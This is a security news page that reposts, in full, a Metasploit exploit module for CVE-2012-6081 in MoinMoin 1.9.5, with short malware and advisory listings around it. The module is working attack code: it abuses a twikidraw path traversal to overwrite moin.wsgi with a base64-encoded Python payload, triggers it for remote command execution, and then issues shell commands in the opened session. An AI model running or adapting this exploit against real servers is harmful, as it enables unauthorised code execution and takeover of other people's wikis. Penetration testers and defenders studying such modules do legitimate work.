The goal of this project is to make virtual world a safer and better place without child pornography, major computer crime and RIAA.
Login As
You can log in if you are registered at one of these services:
Security Bulletins
Latest Malware Updates

Infostealer.Posteal

02/26/2015

Downloader.Busadom

02/26/2015

Trojan.Ladocosm

02/26/2015

SONAR.SuspDocRun

02/25/2015

SONAR.SuspHelpRun

02/25/2015
06/24/2013

MoinMoin twikidraw Action Traversal File Upload

CVE:  CVE-2012-6081

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MoinMoin twikidraw Action Traversal File Upload',
      'Description'    => %q{
          This module exploits a vulnerability in MoinMoin 1.9.5. The vulnerability
        exists on the manage of the twikidraw actions, where a traversal path can be used
        in order to upload arbitrary files. Exploitation is achieved on Apached/mod_wsgi
        configurations by overwriting moin.wsgi, which allows to execute arbitrary python
        code, as exploited in the wild on July, 2012. The user is warned to use this module
        at his own risk since it's going to overwrite the moin.wsgi file, required for the
        correct working of the MoinMoin wiki. While the exploit will try to restore the
        attacked application at post exploitation, correct working after all isn't granted.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'HTP', # PoC
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2012-6081' ],
          [ 'OSVDB', '88825' ],
          [ 'BID', '57082' ],
          [ 'EDB', '25304' ],
          [ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f'; ],
          [ 'URL', 'http://wiki.python.org/moin/WikiAttack2013'; ]
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 16384, # Enough one to fit any payload
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet netcat perl'
            }
        },
      'Platform'       => [ 'unix' ],
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'MoinMoin 1.9.5', { }]],
      'DisclosureDate' => 'Dec 30 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "MoinMoin base path", "/" ]),
        OptString.new('WritablePage', [ true, "MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox)", "/WikiSandBox" ]),
        OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
        OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
      ], self.class)
  end

  def moinmoin_template(path)
    template =[]
    template << "# -*- coding: iso-8859-1 -*-"
    template << "import sys, os"
    template << "sys.path.insert(0, 'PATH')".gsub(/PATH/, File.dirname(path))
    template << "from MoinMoin.web.serving import make_application"
    template << "application = make_application(shared=True)"
    return template
  end

  def restore_file(session, file, contents)
    first = true
    contents.each {|line|
      if first
        session.shell_command_token("echo \"#{line}\" > #{file}")
        first = false
      else
        session.shell_command_token("echo \"#{line}\" >> #{file}")
      end
    }
  end

  # Try to restore a basic moin.wsgi file with the hope of making the
  # application usable again.
  # Try to search on /usr/local/share/moin (default search path) and the
  # current path (apache user home). Avoiding to search on "/" because it
  # could took long time to finish.
  def on_new_session(session)
    print_status("Trying to restore moin.wsgi...")
    begin
      files = session.shell_command_token("find `pwd` -name moin.wsgi 2> /dev/null")
      files.split.each { |file|
        print_status("#{file} found! Trying to restore...")
        restore_file(session, file, moinmoin_template(file))
      }

      files = session.shell_command_token("find /usr/local/share/moin -name moin.wsgi 2> /dev/null")
      files.split.each { |file|
        print_status("#{file} found! Trying to restore...")
        restore_file(session, file, moinmoin_template(file))
      }
      print_warning("Finished. If application isn't usable, manual restore of the moin.wsgi file would be required.")
    rescue
      print_warning("Error while restring moin.wsgi, manual restoring would be required.")
    end
  end

  def do_login(username, password)
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(@base, @page),
      'vars_post' =>
        {
          'action' => 'login',
          'name' => username,
          'password' => password,
          'login' => 'Login'
        }
      })

    if not res or res.code != 200 or not res.headers.include?('Set-Cookie')
      return nil
    end

    return res.get_cookies

  end

  def upload_code(session, code)

    vprint_status("Retrieving the ticket...")

    res = send_request_cgi({
      'uri'      => normalize_uri(@base, @page),
      'cookie'   => session,
      'vars_get' => {
        'action' => 'twikidraw',
        'do'     => 'modify',
        'target' => '../../../../moin.wsgi'
      }
    })

    if not res or res.code != 200 or res.body !~ /ticket=(.*?)&target/
      vprint_error("Error retrieving the ticket")
      return nil
    end

    ticket = $1
    vprint_good("Ticket found: #{ticket}")

    my_payload = "[MARK]#{code}[MARK]"
    post_data = Rex::MIME::Message.new
    post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
    post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
    my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(@base, @page),
      'cookie'   => session,
      'vars_get' =>
      {
        'action' => 'twikidraw',
        'do'     => 'save',
        'ticket' => ticket,
        'target' => '../../../../moin.wsgi'
      },
      'data'     => my_data,
      'ctype'    => "multipart/form-data; boundary=#{post_data.bound}"
    })

    if not res or res.code != 200 or not res.body.empty?
      vprint_error("Error uploading the payload")
      return nil
    end

    return true
  end

  def check
    @base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    res = send_request_cgi({
      'uri' => normalize_uri(@base)
    })

    if res and res.code == 200 and res.body =~ /moinmoin/i and res.headers['Server'] =~ /Apache/
      return Exploit::CheckCode::Detected
    elsif res
      return Exploit::CheckCode::Unknown
    end

    return Exploit::CheckCode::Safe
  end

  def writable_page?(session)

    res = send_request_cgi({
      'uri' => normalize_uri(@base, @page),
      'cookie' => session,
    })

    if not res or res.code != 200 or res.body !~ /Edit \(Text\)/
      return false
    end

    return true
  end


  def exploit

    # Init variables
    @page = datastore['WritablePage']

    @base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    # Login if needed
    if (datastore['USERNAME'] and
      not datastore['USERNAME'].empty? and
      datastore['PASSWORD'] and
      not datastore['PASSWORD'].empty?)
      print_status("Trying login to get session ID...")
      session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
    else
      print_status("Using anonymous access...")
      session = ""
    end

    # Check authentication
    if not session
      fail_with(Exploit::Failure::NoAccess, "Error getting a session ID, check credentials or WritablePage option")
    end

    # Check writable permissions
    if not writable_page?(session)
      fail_with(Exploit::Failure::NoAccess, "There are no write permissions on #{@page}")
    end

    # Upload payload
    print_status("Trying to upload payload...")
    python_cmd = "import os\nos.system(\"#{Rex::Text.encode_base64(payload.encoded)}\".decode(\"base64\"))"
    res = upload_code(session, "exec('#{Rex::Text.encode_base64(python_cmd)}'.decode('base64'))")
    if not res
      fail_with(Exploit::Failure::Unknown, "Error uploading the payload")
    end

    # Execute payload
    print_status("Executing the payload...")
    res = send_request_cgi({
      'uri'      => normalize_uri(@base, @page),
      'cookie' => session,
      'vars_get' => {
        'action' => 'AttachFile'
      }
    }, 5)

  end

end

Security Advisories Database

Remote Code Execution Vulnerability in Microsoft OpenType Font Driver

A remote attacker can execute arbitrary code on the target system.

07/21/2015

SQL Injection Vulnerability in Piwigo

SQL inection vulnerability has been discovered in Piwigo.

02/05/2015

Cross-site Scripting Vulnerability in DotNetNuke

A cross-site scripting (XSS) vulnerability has been discovered in DotNetNuke.

02/05/2015

Cross-site Scripting Vulnerability in Hitachi Command Suite

A cross-site scripting vulnerability was found in Hitachi Command Suite.

02/02/2015

Denial of service vulnerability in FreeBSD SCTP RE_CONFIG Chunk Handling

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in Apache Traffic Server HTTP TRACE Max-Forwards

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in MalwareBytes Anti-Exploit &quot;mbae.sys&quot;

An attacker can perform a denial of service attack.

01/30/2015

Denial of service vulnerability in Linux Kernel splice

An attacker can perform a denial of service attack.

01/29/2015

Denial of service vulnerability in Python Pillow Module PNG Text Chunks Decompression

An attacker can perform a denial of service attack.

01/20/2015